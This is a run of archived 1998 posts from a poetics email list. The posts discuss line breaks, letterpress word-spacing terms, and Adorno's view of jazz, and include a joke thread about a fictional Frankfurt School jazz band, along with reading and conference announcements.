Music as we usually conceive of it exists only in time. Is the score music or not music? Does poetry exist outside of time? I think it does, but I can't get at why or how. My rationalizing seems to suggest the opposite. But poetry's not rational? Or is that a cop-out? Anyway, it makes such a difference to my reading if I've heard the author's voice. Do we write for our own voice, as Beethoven wrote for the piano, or for any voice, as much Baroque music was written?

--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *
"All music is music..." -- Ted Berrigan

* * * * * *

"It is very much like it" -- Gertrude Stein

↑ Index

337. Gabriel Gudding
Monks Pond
Sun 11 Oct 1998

Anyone out there know much about Th. Merton's little magazine, _Monks Pond_, which ran 4 issues during 1968, the final of which Merton himself did not live to read?

I just found an incredible 9x12 facsimile edition of all four issues in the commons here in Ithaca. Cannot believe the eclecticism of these issues.

Anselm Hollo, Paul Metcalf, Zukofsky, Jonathan Williams, Simon Perchik, Kerouac, Russell Edson, Merton hisself, Simic, even Mark Van Doren, Wendell Berry, Czeslaw Milosz. This is great! (Few women, though: Lorine Niedecker, Margaret Randall, Lindy Hough, Nancy-Lou Patterson, Dorothy Beck, Gail Waechter, Sister M. Therese).

Had anyone seen of it, heard of it, is it famous, infamous, unknown?

1). It is great fun to type "Adorno"

2). It is great fun to type "pragmatics" "linguistics" and "linguistic pragmatics"

3). Adorno Adorno pragmatics linguistics linguistic pragmatics

4). What a hoot. Warmly, Gabe

↑ Index

338. Steven Marks
Re: word breaks
Sun 11 Oct 1998

Not exactly an answer but the act of adjusting the spaces between letters is called kerning so I guess that the space is a kern. The dictionary says that a kern is "the portion of the typeface beyond the body or shank of a character." A kern is also "a Medieval Scottish or Irish foot soldier" and "a loutish person." I guess this is why the language we speak is called *English*. Wouldn't the act of adjusting the spaces between words be called justifying? Letter-press people? Does that make the space a "just"?

Steven

On Sun, 11 Oct 1998, William Marsh wrote:

> *is there a term, from typesetting or elsewhere, for the space between words? -- for that piece of space used between words in traditional letterpress?*
>
> *bill(x)marsh*
>
> *- - - -

Petulant, pessimism and stoic enjambment can, like, get yous over your own consumer identifications. EVen way over there. in that poet-niche.

Maybe it is a LATE STAGE with its own cultural logics of this historical mode of production. At least as much as all that sweetness and light. And ALL the spaces are temporality cause we don't have history anymores. We don't have time. All crowded out. Breath, One, Two, Three.

Recommend Simon Winchester's _Professor and the Madman_.For no other reason than Oxford has put the OED on sale.

mc

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340. **Duane Davis**
Re: Adorno & Jazz
Sun 11 Oct 1998

Michael, Dude, lighten up...

You seem to have missed the point here: I wrote that I found Adorno on jazz to be "useful" -- which is not the same thing as "praise." How "useful" Adorno is in "tweaking the noses of the high minded" is wonderfully evident in your priggish response...

Let me, briefly, set out in a somewhat clearer form the point you were trying to make: What makes Adorno's essay on jazz bad is indeed its lack of specificity. Adorno has not defined his subject nor deigned to narrow or limit its scope. Thus, what appear to be some trenchant comments on a particular musical form are lost in this lack of focus. As I pointed out in my own message, this essay employs a kind of cookie cutter approach: Adorno's comments here are not all that different from comments he made regarding other cultural productions, but, in this case, Michael, you appear to disagree with him while elsewhere you "appreciate his many positive efforts." Its dawning on me that a better theme song for you than a Duke Ellington number might be Leslie Gore's "It's My Party And I'll Cry If I want To."

Duane
-----Original Message-----
From: Michael Magee <[redacted]>
To: [redacted] <[redacted]>
Date: Sunday, October 11, 1998 6:13 AM
Subject: Re: Adorno & Jazz

>Duane, this is tripe. Would you ever give *any* literary critic props for
>arguing that *some* poetry is bad/bad news. This is essentially what your

>praise of Adorno amounts to: like a stroke of lightening at midnight he
>has discovered that some jazz is bad. Well, no shit. But as cultural
>critics there's a special imperative on us not to drown in our own
>ill-informed generalizations, thus adding fuel to the fire of criticism
>that we put cart before horse & don't usually know whereof we speak. The
>truth is, Adorno just dropped the ball here (now I'm really mixing
>metaphors at a furious pace) and we should be able to appreciate his many
>positive efforts w/out holding his drunk ass up at this particular party.
>
>-m.
>
>
>According to Duane Davis: >
>> As I have no ear for jazz I find Adorno quite useful for tweaking the
noses
>> of the high minded:
>>
>> "Yet none of this alters the fact that jazz has in its essence remained
>> static, nor does it explain the resulting enigma that millions of people
>> seem never to tire of its monotonous attraction."
>>
>> "The range of the permissible in jazz is as narrowly circumscribed as in
any
>> particular cut of clothes."
>>
>> "Anyone who allows the growing respectability of mass culture to seduce
him
>> into equating a popular song with modern art because of a few false notes
>> squeaked by a clarinet; anyone who mistakes a triad studded with 'dirty
>> notes' for atonality, has already capitulated to barbarism."
>>
>> "In the process of integrating the asocial, jazz converges with the
equally
>> standardized schemas of the detective novel and its offshoots, which
>> regularly distort or unmask the world so that asociality and crime become
>> the everyday norm, but which at the same time charm away the seductive
and
>> ominous challenge through the inevitable triumph of order."
>>
>> Adorno, "Perennial Fashion--Jazz" in PRISMS
>>
>> Is this the final word on jazz? Of course not. Have Adorno's words in

fact
>> had any appreciable influence on jazz? Again, of course not. Is he
right
>> about some aspects of jazz and jazz listeners? Oh yes, quite right.
I've
>> owned a record store for twenty years and have listened to a fair amount
of
>> jazz and jazz talk: some of it stimulating, some of it fatuous. The
>> danger, and the beauty as well, of this essay is that you can substitute
for
>> "jazz" most any identifiable style of music, monkey with a few of the
>> definitions and pronouncements, and come up with something suitable to
piss
>> just about anyone off.
>>
>> Duane Davis
>>

↑ Index

341. Hugh Steinberg
Re: word breaks
Sun 11 Oct 1998

Bill: I think the basic term is "em," which is the square of the type body size, also known as an "em space" or "quad." In twelve point type, a quad is 12 points wide by 12 points deep. An "en quad" is 1/2 an em, or 6 points wide by 12 points deep. Other spaces for 12 point are the 3 em space, which is 4 points wide, the 4 em space (3 points wide), etc. The space between lines is called leading, while kerning (in linotype, at least) is the projection of one letter, such as a lower-case "f" over another.

This comes from "The Design of Books" by Adrian Wilson.

Hugh Steinberg

Bill Marsh writes:

> *is there a term, from typesetting or elsewhere, for the space between words? -- for that piece of space used between words in traditional letterpress?*

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342. **John Tranter**

Jacket # 5 now partly built

Sun 11 Oct 1998

Jacket magazine

A N N O U N C E M E N T

Jacket is a literary quarterly free on the Internet, edited from Sydney Australia by poet John Tranter.

Issue # 5 is now under construction, and is due for completion late in October 1998.

In November John Tranter will travel to the US, the UK, and Paris to gather fresh produce for number 6, due in January 1999. Features planned for # 6 include material on Nathalien Tarn, Jack Spicer and Robert Duncan.

In the meantime, check out Jacket # 5, at this URL:

http://www.jacket.zip.com.au/jacket05/index05.html

You can read the following:

M I N A L O Y F E A T U R E

Introductory Chapter to "Becoming Modern - the Life of Mina Loy", by Carolyn Burke

Biographer Carolyn Burke interviewed by Pamela Brown

Excerpts from reviews of "Becoming Modern - the Life of Mina Loy"

Very Rapid Acceleration - interview with New York poet Kenneth KOCH

Douglas Oliver : The School of Bedlam from "Whisper Louise", a work-in-progress P O E M S from Bill Berkson,John Kinsella, Bill Freind, and 2 poems from "Disobedience" by Alice Notley

. . . and, as usual, a lather of photographs and other visuals.

Drop by, try the fit of the Jacket, and if you like it, tell your friends!

(I understand that you may not wish to receive these notices. (If so, please reply to this email to that effect, and (I'll take your name off the mailing list pronto. [J.T.]

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia tel ([redacted] fax ([redacted] Editor, Jacket magazine: http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at http://www.alm.aust.com/~tranterj/index.html

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343. charles alexander
Re: word breaks
Sun 11 Oct 1998

there probably is -- but in 19 years of setting type and making books, including early study with walter hamady of such matters -- I never heard it called anything but "wordspacing."

charles

At 10:32 AM 10/11/98 -0700, you wrote:
>is there a term, from typesetting or elsewhere, for the space between
>words? -- for that piece of space used between words in traditional
>letterpress?
>
>bill(x)marsh
>
>- -
>- - - -
>William Marsh | PBrain | http://bmarsh.dtai.com
>- -
>- - - -
>
>
chax press : alexander writing/design/publishing
[redacted]
http://alexwritdespub.com/chax
[redacted] (phone) [redacted] (fax)

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344. charles alexander
Re: word breaks
Sun 11 Oct 1998

Justifying is usually limited to adjusting lines so that they line up evenly on both the left and right margin. That is accomplished by adjusting word spaces -- but can be accomplished by adding minute spacing material between individual letters; also can be accomplished (in prose, not poetry), by adjusting the total length of line until an appropriate length is found which both 'looks' right and which allows for easiest justification. And if you're the writer of a piece you're typesetting, then a lot can be done to help justification by re-writing. But no, the act of adjusting individual spaces between words is not called justifying. Nor is it called kerning. A space is not a just and a space between words is not a kern.

One tries to stick with a consistent spacing between words as much as possible -- say, if using 12-point type, with 4-em or 5-em spaces, depending on individual preference. A 12-point em being a piece of spacing which is 12points by 12points square. It takes four 4-em spaces to make an em (also called a "quad"). Some of the terminology is mathematical (sort of) then, some is certainly odd and antiquated, but some is pretty clear, like letterspacing and wordspacing. In the practice as I know it, the term kerning is usually limited to reducing space between letters by actually trimming, with a special trimmer, that space "beyond the body or shank of a character," while expanding the space between letters to achieve desired effects and proportions is called letterspacing. The latter generally happens a lot more often than the former.

charles

At 04:06 PM 10/11/98 -0400, you wrote:
>Not exactly an answer but the act of adjusting the spaces between letters
>is called kerning so I guess that the space is a kern. The dictionary says
>that a kern is "the portion of the typeface beyond the body or shank of a
>character." A kern is also "a Medieval Scottish or Irish foot soldier" and
>"a loutish person." I guess this is why the language we speak is called
>*English*. Wouldn't the act of adjusting the spaces between words be
>called justifying? Letter-press people? Does that make the space a "just"?
>
>Steven
>
>On Sun, 11 Oct 1998, William Marsh wrote:
>
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>> letterpress?
>>
>> bill(x)marsh
>>
>> -
>> - - - -
>> William Marsh | PBrain | http://bmarsh.dtai.com
>> -
>> - - - -
>>
>
>
chax press : alexander writing/design/publishing

http://alexwritdespub.com/chax
[redacted] (phone) [redacted] (fax)

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345. charles alexander
Re: word breaks
Sun 11 Oct 1998

At 07:54 PM 10/11/98 -0600, you wrote:
>Bill: I think the basic term is "em," which is the square of the type body
>size, also known as an "em space" or "quad." In twelve point type, a quad
>is 12 points wide by 12 points deep. An "en quad" is 1/2 an em, or 6
>points wide by 12 points deep. Other spaces for 12 point are the 3 em
>space, which is 4 points wide, the 4 em space (3 points wide), etc. The
>space between lines is called leading, while kerning (in linotype, at
>least) is the projection of one letter, such as a lower-case "f" over
>another.

it makes sense to me, hugh & bill, that this would be the case in linotype. Because this is what happens in monotype, too, if one takes kerning as the cutting away of the edge of the body of a letter, in order to fit letters closer together. But I'm sure glad that there are characters such as ligatures (letter-combinations cast as a single piece of metal type), particularly for the combinations "ff," "fi," "ffl," and "ffi" -- because otherwise you really can't fit those letters together without potentially breaking part of the letter.

With other combinations with "f," though, the situation is pretty simple in monotype. On the "f" the form of the top curve of the letter actually extends beyond the base of the piece of type, and thus the letter naturally fits over other lower-case letters except for ones with tall straight ascenders.

I don't think anyone would use an "em" as a space between words, though -- it would make for particularly huge spaces between words, big enough to look pretty awkward. Lots of lettepress typesetters use 4-em spaces between words; quite a few use 3-em spaces between words; and a few use as thin a space as a 5-em space between words.

charles

charles

>This comes from "The Design of Books" by Adrian Wilson.
>
>Hugh Steinberg
>
>Bill Marsh writes:

>
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>>words? -- for that piece of space used between words in traditional
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>
>
chax press : alexander writing/design/publishing
[redacted]
http://alexwritdespub.com/chax
[redacted] (phone) [redacted] (fax)

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346. Paul Salamone
Dreamtime Village
Mon 12 Oct 1998

Hello,
I go to Fredonia State and I got this message from
Dreamtime Village about a Peter Lamborn Wilson
(a.k.a. Hakim Bey) talk and I observed that it had also
been sent to you people. Was this an accident or are
you also interested in the Village? Ever been there,
plan to go sometime? Please get back to me when you
get a chance.

thanks,
Paul s.

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347. Douglas Oliver
Re: line breaks
Mon 12 Oct 1998

Appreciated all the contributions, and liked Dale's reminder of Ed the Sanders' grace with classical meters.

Laura's point about the poem as score certainly chimes with my own notions, but I'm curious to know what apparent "fixities" of sound reside in the score to enable any interpretation at all. A German linguist called Sievers back in the 1920s managed to distinguish what he called the neutral music residing in printed lines of speech -- that is, the music the words *would have* if readers gave them no special emphasis or interpretation. It's a tantalising concept because, of course, every reader has a different voice, dialect, emotional tone, spirit, and will always interpret the words differently to at least some degree.

Also, as I have found, even the same reader (me) may differ from himself in performance of the same lines of poetry across, say, a two year gap *more than* some other competent reader differed from (my) original performance.

I don't really believe science can do more than touch the hem of such questions (I'm not a filfthy British empiricist). Yet I have tested this sense we might have of a neutral music in a poem by comparing different readers performing some lines of Pope's -- I chose Pope because the more formal the match of line to preordained metrics is the more likely it is that there will be consonance between different readers' performances of the same poem. I recorded seven readings and submitted them to two or three panels of listeners who judged which readings made the "best basic music" for the poem in question.

My conclusions from the intonation/duration traces were that three or four readers judged as "good" seem to discern elements of a neutral tune the words *could have* if they were performed neutrally (though of course this is impossible). There was sufficient convergence between the performances for this conclusion to seem secure, at least for these lines of Pope's. If there really were a neutral tune that would be the score we are looking for.

The next bit's complicated. I don't think a neutral tune exists as a score, but that each good, orthodox performance of Pope's lines will set up an expectation of a roughly similar neutral tune, a dim sense of a tune probably specifically arising as a ground base during that individual performance. But there will be a neutral tune suggested by each individual performances: for example, even if the same reader performs the lines again, he/she may start the next time at a slightly higher pitch, and this will change all the note values which follow. Nevertheless, these ground base tunes, though they may vary slightly from reader to reader and from performance to performance, may verge towards identity, again if the metrics is fairly strict. The machine traces showed that, and the result was just about the same with lines by Wyatt, and others by Ronsard, read by French speakers. But the neutral tune is a figment, a possibility arising only at the precise time of performance: the actual performance must depart from that neutral music if it is to have any real life and not be merely metronomic. These departures are what we call interpretation -- the necessary varying from neutrality in order to give life.

Re-emphasis: there is not one neutral tune, but there is similarity between the ground base musics set up by various performances, musics from which the performances depart in order to create interpretation.

So that I don't offend too far against reader response freaks, let me add that I also believe that a talented different interpretation of the lines, which departs much more radically from the commonly perceived neutral music, may be

equally valid. (But this does not include the average actor hamming up a poem and losing its music.)

Where the metrics are more difficult for average readers to perceive, as in so much modern work, it's much harder to compare readings and find a shared sense of neutral music. This is because for there to be any agreement over what tune to make in a performance there has pretty much to be identity of interpretation (as is also true even with traditional metrics). So it's chicken and egg: if you agree with me pretty fully on interpretation of the words you will make a similar tune -- providing we are both competent readers from a similar dialect group; but if you make a similar tune that will imply we agree pretty fully on interpretation. Poetry which deliberately hands much of the interpretation task over to the reader -- as in poems where the "signifier floats free", etc. -- may therefore fall outside testability. Although if we found that two readers made the same tune in performance, this might open up interesting discussion about interpretation of the poem in question.

Yet I would still hold to the further corollary: if my chicken and egg picture is correct, it still means that any one performance even of a poem whose interpretation is open will sense that it is creating the possibility of an unexpressive neutral tune, specific to that performance and underlying its actual vocal interpretation. My justification is: if that were not so, how would the performer know how to create expressive effects by, say, raising pitch slightly, increasing loudness, extending syllable duration? I don't see how interpretation can take place in a void or how expressive affect can occur psychologically without some tension being created between actual sound and our sense of a musical grounding. That is, how could the performer interpret the piece at all?

This is open to accusations of Platonism, but that would be incorrect. Despite Sievers and Plato, the "neutral tune" doesn't exist, any more than pure possibility or "Idea" exist: it's an ineffable will o' the wisp that we necessarily create as we perform and, in that sense, resides in the poem as a "score" reawakened in its possibilities each time. If we hardened it into a concrete poem-score with notation, as with music and as many poets have suggested at various times, we should be choosing more exactly what ground music to apply, as best as possible, to any individual performance of the poem. That might be interesting. But I think part of the magic of poetry -- and its difference from music -- is that the score (or ground music, or neutral music) is recreated in slightly different form at each reading, hovering under the voice so to speak. Poetry is, therefore, easier to perform really badly than music is, for at least a clumsy musician is trying to hit the right notes.

The definiteness and pedantry in my tone is only because I want to be clear about what I realise are mostly just complicated personal beliefs backed up

somewhat by the fragility of a supposed empiricism -- more, an impressionistic use of quasi-scientific procedures. I find these matters really difficult.

Doug

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348. **Roger Day**
Re: Enjambed by brigands
Mon 12 Oct 1998

At 10/10/98 16:09:50, Bob Grumman <[redacted]> wrote:
Ron Silliman wrote:
>
> The question of the articulated linebreak never quite goes away. We have
> extremes -- Duncan actually counting to three between each line in his
> readings of Passages in 1970, the inaudible ones that Pinsky argues for --
> and a million possible middle positions. I tend to side with Grumman here --
> if there's no point to a linebreak, why break it? If there is a point,
> shouldn't it be sounded? But in practice in my readings I vary, sometimes
> being very strict about voicing them, then other times quite the opposite.
> It seems to me one of the decisions that turns the printed text literally
> into a score that may be performed.
>
> Ron

That's interesting. I've tried 2 beats on the line break, and 3 between verses. I like the 3-beat pause, but I couldn't get over the fact that I was pausing where there was no overt pause - but that an emphasis on the last word before the line-break served to emphasize the line-break. Works for me.

Yes, I would certainly agree that in performing a poem (even if only to # oneself when silently reading it), there are times to disregard the # line-break as a place to pause. Also times TO pause in the middle of # lines that aren't indicated in any overt way at all in the poem.

This is my biggest failing in performance. Also, adrenalin pushes puases, compresses, speeds up, flows.

I guess I'm agreeing with everything said here :)

Roger

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349. Nada Gordon
Re: textuality on a t-shirt
Mon 12 Oct 1998

My friend bought a T-shirt in L.A. which reads

Shoot the quotidian with the pistol of language

Did someone notable say that?

Nada

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350. Alaric Sumner
wordspace
Mon 12 Oct 1998

I am not well versed in letterpress, but my typesetting experience (1979-91) leads me to a 'thin' as the space between words, an 'en' at 2/3rds and an 'em' as the full size of a cap M in the relevant type size and face. Kerning is the shaving off (physically in letterpress, electronically nowadays) of the metal that holds the lettershape, so that the next letter can be shoved closer. The distance between VA for example on the grid of your screen or on the grid of letter press will look too gappy. So the metal setting of one letter (or both) is shaved off to enable them to be shoved together. Justification means putting enough thins, ens and ems between words (or even between letters) to spread the word out to the full extent of the line. I have never heard of a 'just', or a 'kern', and don't expect to again!

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351. Michael Magee
Re: Adorno & Jazz
Mon 12 Oct 1998

Duane, I must say I felt light as a feather, unpredictable as the weather, in my response, and as for being priggish, congratulations, your the first person every to accuse me of such (can one be both priggish and "unclear"? I thought clarity and priggishness were the best of friends). As for my theme song, I've always been more of a "it's *your* party and I'll *crash* if I want to" kind of guy. Playfully peeved was really the tone I was hoping to strike - peeved (playfully, remember) more than anything else, at the way you prefaced your original

statement, "As I have no ear for jazz, I find Adorno quite useful..." - we should all listen harder to what we have no ear for. -m.

According to Duane Davis:
>
> Michael, Dude, lighten up...
>
> You seem to have missed the point here: I wrote that I found Adorno on jazz
> to be "useful" -- which is not the same thing as "praise." How "useful"
> Adorno is in "tweaking the noses of the high minded" is wonderfully evident
> in your priggish response...
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> Let me, briefly, set out in a somewhat clearer form the point you were
> trying to make: What makes Adorno's essay on jazz bad is indeed its lack of
> specificity. Adorno has not defined his subject nor deigned to narrow or
> limit its scope. Thus, what appear to be some trenchant comments on a
> particular musical form are lost in this lack of focus. As I pointed out in
> my own message, this essay employs a kind of cookie cutter approach:
> Adorno's comments here are not all that different from comments he made
> regarding other cultural productions, but, in this case, Michael, you appear
> to disagree with him while elsewhere you "appreciate his many positive
> efforts." Its dawning on me that a better theme song for you than a Duke
> Ellington number might be Leslie Gore's "It's My Party And I'll Cry If I
> want To."
>
> Duane
> -----Original Message-----
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> To: [redacted] <[redacted]>
> Date: Sunday, October 11, 1998 6:13 AM
> Subject: Re: Adorno & Jazz
>
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> >critics there's a special imperative on us not to drown in our own
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> >that we put cart before horse & don't usually know whereof we speak. The
> >truth is, Adorno just dropped the ball here (now I'm really mixing
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> >
> >-m.
> >
> >
> >According to Duane Davis: >
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> >> of the high minded:
> >>
> >> "Yet none of this alters the fact that jazz has in its essence remained
> >> static, nor does it explain the resulting enigma that millions of people
> >> seem never to tire of its monotonous attraction."
> >>
> >> "The range of the permissible in jazz is as narrowly circumscribed as in
> any
> >> particular cut of clothes."
> >>
> >> "Anyone who allows the growing respectability of mass culture to seduce
> him
> >> into equating a popular song with modern art because of a few false
notes
> >> squeaked by a clarinet; anyone who mistakes a triad studded with 'dirty
> >> notes' for atonality, has already capitulated to barbarism."
> >>
> >> "In the process of integrating the asocial, jazz converges with the
> equally
> >> standardized schemas of the detective novel and its offshoots, which
> >> regularly distort or unmask the world so that asociality and crime become
> >> the everyday norm, but which at the same time charm away the seductive
> and
> >> ominous challenge through the inevitable triumph of order."
> >>
> >> Adorno, "Perennial Fashion--Jazz" in PRISMS
> >>
> >> Is this the final word on jazz? Of course not. Have Adorno's words in
> fact
> >> had any appreciable influence on jazz? Again, of course not. Is he
> right
> >> about some aspects of jazz and jazz listeners? Oh yes, quite right.
> I've
> >> owned a record store for twenty years and have listened to a fair amount

> of
> >> jazz and jazz talk: some of it stimulating, some of it fatuous. The
> >> danger, and the beauty as well, of this essay is that you can substitute
> for
> >> "jazz" most any identifiable style of music, monkey with a few of the
> >> definitions and pronouncements, and come up with something suitable to
> piss
> >> just about anyone off.
> >>
> >> Duane Davis
> >>
>

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352. Poetics List
"styled" text and the Poetics List
Mon 12 Oct 1998

A technical advisory --

The use of "styled" text or HTML formatting in the body of email posts to the list appears not to be compatible with the list's automatic digest program and as result such messages may disrupt the format of the Digest, even though this coding is readable for some subscribers who do not use the digest option.

When sending to the list, please send only "plain text". Note, however, there is no problem with sending clickable URLs in HTML format such as this:

http://writing.upenn.edu/epc

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353. Charles Bernstein
Call for papers: Innovation and Experimentation in Contemporary American Poetry
Mon 12 Oct 1998

---

forwarded from Allison Cummings: [redacted]

Call for papers:

Innovation and Experimentation in Contemporary American Poetry

What criteria delimit the margins of American poetry today? What is the role of the lyric and narrative in the elliptical, fragmented and disjunctive approach utilized by many contemporary poets. How has Language poetry given way or split off from other "experimental" poetries and how do gender and race figure

into those divergence's? How has performance poetry altered, popularized or skirted the "poetry establishment"? What projects have poets undertaken to analyze, bridge, or deconstruct the mutually marginal spheres of "high" and "low" poetry today?

We particularly invite papers on poets such as, Rae Armantrout, Lucy Brock-Broido, Anne Carson, Lynn Emanuel, Elaine Equi, Jorie Graham, Barbara Guest, Lyn Hejinian, Brenda Hillman, Susan Howe, Ann Lauterbach, Bernadette Meyer, Jane Miller, Tracie Morris, Harryette Mullen, Alice Notely, Susan Wheeler, and others.

This three-day conference sponsored by Women Poets at Barnard will begin on Thursday, April 8 with a poetry reading, and continue through Saturday, April 10. The keynote speaker will be Marjorie Perloff. The conference will feature critical papers as well as additional poetry readings. Papers received by January 5 will receive priority, but papers will be read through January. Papers grouped as panels welcome. Please submit to either Claudia Rankine, English Dept, Barnard College, 3009 Broadway, New York, NY 10027 or Allison Cummings, English Dept, Hampden-Sydney College, Hampden-Sydney, VA 23901.

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354. A. Jenn Sondheim
Formal Strategy of Text (apologies to E A Poe)
Mon 12 Oct 1998

-

Formal Strategy of Text

So in order to construct a "sondheim-text" or "real/virtual" text, one might proceed as follows, beginning with (real/virtual) entities A and B: Given these constructs* (cultural or natural, defined or discovered, meta- phoric or metonymic) with determined affinities belonging to a set S, con- sider a second set C and D, with affinities in S'. Ordinarily, one might have a situation in which S and S' are roughly equivalent, in relation to some measure of fuzziness. But let there be foreign elements which are members of S', and lapses in S corresponding to elements of S. Further, note that we are also considering, roughly syntactically, two further elements for both pairs (a total of four in all), that is A(B) and B(A), as well as C(D) and D(C). These _chiasms_ then possess their own attribute sets, call them T and T' and each of these have their subsets - for exam- ple one has A(B) and B(A) both contributory towards T, such that they possess a core or _rope_ R(A(B), B(A)) - the thickness of the chiasm or reversal thus indicated. We can roughly identify R with T, and likewise R' with T'. However, T' is broken, inexact, which is to say that the parallel rope of the chiasm R'(C(D), D(C)) is in disarray, wandering, vagrant. It is this turn which constitutes the strategy of

avatars and duals loose or perturbing within the interpenetrated component structures of computer- mediated-communication; and it is this turn which then constitutes the subject and object, strategy and wager, of the real/virtual texts involv- ing multiple persons and avatars.

---

*Of course the following oppositions or pairs are problematic, the art, such as it is, consists in choosing, first, sufficiently rich A and B, and second, in deciding the domains (pairs) and attributes. It is within these decision that the psychoanalytical and socio-cultural unfoldings occur, more or less set in formal motion.

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355. **MAYHEW**
The Frankfurt 5
Mon 12 Oct 1998

I came across reference in an old discography to a recording by "Ted Adorno and the Frankfut 5." According to my sketchy information this featured Adorno on piano, Max Horkheimer on drums, and the plaintive clarinet of Walt Benjamin on "Sweet Lorraine" and "What did I do to be so black and Blue." No information available on the bass or trumpet. While Horkheimer can swing somewhat, Adorno's playing is rather stiff, as though he couldn't quite get the rhythm down.

Anyone have any information on these rare recordings?

Jonathan

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356. **Marcella Durand**
readings at St. Mark's
Mon 12 Oct 1998

Upcoming readings this week at the Poetry Project:

Monday (Tonight), Oct. 12th at 8 pm:

Katy Lederer & Tim Griffin

Wednesday, Oct. 14th at 8 pm:

Jerome Rothenberg & Robert Grenier, reading to be followed by a reception/ book party for A Secret Location on the Lower East Side, the accompanying text to the late New York Public Library show last spring. There will be wine, cheese, crackers, flowers & books.

Friday, Oct. 16th at 10:30 pm:

A Gathering for the Community Gardens: a group reading with Jeff Wright, John Wright and more to support the besieged community gardens of NYC.

Monday, Oct. 19th at 8 pm:

Beth Anderson & Vikas Menon

Wednesday, Oct. 21 at 8 pm:

Night of de Sade: an evening of readings from the Marquis de Sade by Diamanda Galas, actress Chloe Webb (Sid & Nancy), actress Lili Taylor (I Shot Andy Warhol), Edwin Torres, & Marge Suti, accompanied by music dj-ed by Eric Mingus (son of Charles) & Karen Mantler (daughter of Carla Bley & Mantler). The whole thing is produced by Hal Willner (Lost in the Stars-the Music of Kurt Weill, Allen Ginsberg's Holy Soul Jelly Roll) so should be a blast. Tickets are $15, $12 students, $10 members.

Check out the new Announcements page on the Poetry Project web-site page for late-breaking news, events, gossip & some beginning-of-the-season poems by Douglas Rothschild.

Call [redacted] for more info or e-mail the Poetry Project: [redacted].

Thanks.

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357. Gary Sullivan
Spicer washes lettuce while the infrastructure crumbles
Mon 12 Oct 1998

Wow, thanks, Stephen, for your thoughts on "Thing Language," Spicer's images, that great poem "When you break a line nothing/ Becomes better ..." (!) etc. I think all the readings you suggest are legitimate, & probably realized & considered by Spicer himself. I have only one question, which is, okay, with respect to the idea that the ocean in this poem (the first poem in _Language_) figures "as an image of formlessness or chaos" ... it feels like that, but okay, even more, to me: I think of Thales, & wonder if this is water/liquid as primary in some way. There's that line (I didn't bring _Language_ to work with me today) a little later in the book "My house is in Aquarius" ... etc., etc.

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358. **Steven Clay**
Rothenberg/Grenier/A Secret Location on the Lower East Side
Mon 12 Oct 1998

Wednesday October 14, 1998, 8:00 PM
Jerome Rothenberg and Robert Grenier will be reading at the Poetry Project at St. Mark's Church. (2nd Ave. and 10th St. NYC)

The reading will be followed (also at the Church) by a publication party for A SECRET LOCATION ON THE LOWER EAST SIDE: ADVENTURES IN WRITING 1960-1980: A SOURCEBOOK OF INFORMATION by Steve Clay and Rodney Phillips with a Pre-Face by Jerome Rothenberg.

This book documents the exhibit (with 2/3 of the same title) at the New York Public Library earlier this year. Over 80 presses and magazines, at the confluence of the New American Poetry and the Small Press Revolution, are described, frequently in the words of the editor(s) involved. Checklists are also provided. Among those included are: J, Open Space, White Rabbit, Oyez, Yugen, Floating Bear, Measure, Semina, Beatitude, Black Mountain Review, Origin, Poems from the Floating World, Some/thing, Maps, Matter, Set, Something Else Press, Duende, Wild Dog, Umbra, Hambone, White Dove Review, C, Fuck You, Living Hand, Angel Hair, Big Sky, The World, Z, United Artists, Center, 0 to 9, Lines, Adventures in Poetry, Siamese Banana, Dodgems, Vehicle, Telephone, Mag City, L=A=N=G=U=A=G=E, Joglars, This, Tottel's, Hills, The Figures, Roof, Sun & Moon and Tuumba. The book runs to 340 pages and is illustrated with over 200 black and white photographs. Another 500 presses and magazines are catalogued in an appendix; there's also an extensive index, a 50 page introduction by Clay and Phillips and a gate-fold pull-out literary chronology of the 1950-1980 period. The book is published by Granary Books and the New York Public Library. Paperback is $24.95; cloth with dust jacket is $44.95. The book will be showing up in "better" bookstores fairly soon, it'll also be available from SPD or the publishers.

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359. **R.Gancie/C.Parcelli**
Re: The Frankfurt 5
Mon 12 Oct 1998

MAYHEW wrote:
>
> I came across reference in an old discography to a recording by "Ted
> Adorno and the Frankfut 5." According to my sketchy information this
> featured Adorno on piano, Max Horkheimer on drums, and the plaintive
> clarinet of Walt Benjamin on "Sweet Lorraine" and "What did I do to be so

> black and Blue." No information available on the bass or trumpet. While
> Horkheimer can swing somewhat, Adorno's playing is rather stiff, as though
> he couldn't quite get the rhythm down.
>
> Anyone have any information on these rare recordings?
>
> Jonathan

Jonathan. I actually own a copy of that old 78. I bought it at a yard sale at Whittaker Chambers' house in the 1966. Your info is generally accurate--Adorno on piano, Horkheimer on drums and Benjamin on clarinet. Benjamin's playing is highly original though I hear Sidney Bechet's influence. The quintet is rounded out by none other than Herbert Marcuse on trumpet and a youthful Jurgen Habermas on base. Its a live gig, rare for those days and takes place in the Hollywood Hills at the same house in which Art Tatum made his famous recordings. The groups real name was the School for Social Research Five but Adorno's playing was so far ahead of its time that the producers of the recording, Fugitive Records, changed the band's name. I disagree with your assessment of Adorno's playing. He sounds like Lenny Tristano decades before the great west coast pianist made the scene. This may account for the stiffness rap. His rhythmic 'dialectic' with his drummer, Horkheimer, is inspired if not 'enlightened'. The group disbanded shortly after this gig, apparently for financial reasons, and this may explain some of Adorno's bitterness toward jazz and the American listening public in general.---Carlo Parcelli

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360. MAXINE CHERNOFF

Re: Call for papers: Innovation and Experimentation in Contemporary American Poetry

Mon 12 Oct 1998

Two questions about the forthcoming conference on Innovation and Experimentation:

(1) Are we now at the stage where Jorie Graham, Brenda Hillman, and Lucy Brock-Broido are considered experimental writers? What, overnight?

(2) Why doesn't the title of the conference refer to women? Separatism is not only the rule these days but also provides an opportunity for writers who are only tangential to experimentation to be studied as what they are not.

-Paul Hoover

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361. Gabriel Gudding
Re: The Frankfurt 5
Mon 12 Oct 1998

On Mon, 12 Oct 1998, MAYHEW wrote:

> *I came across reference in an old discography to a recording by "Ted Adorno and the Frankfut 5." According to my sketchy information this featured Adorno on piano, Max Horkheimer on drums, and the plaintive clarinet of Walt Benjamin on "Sweet Lorraine" and "What did I do to be so black and Blue." No information available on the bass or trumpet. While Horkheimer can swing somewhat, Adorno's playing is rather stiff, as though he couldn't quite get the rhythm down.*
>
> *Anyone have any information on these rare recordings?*

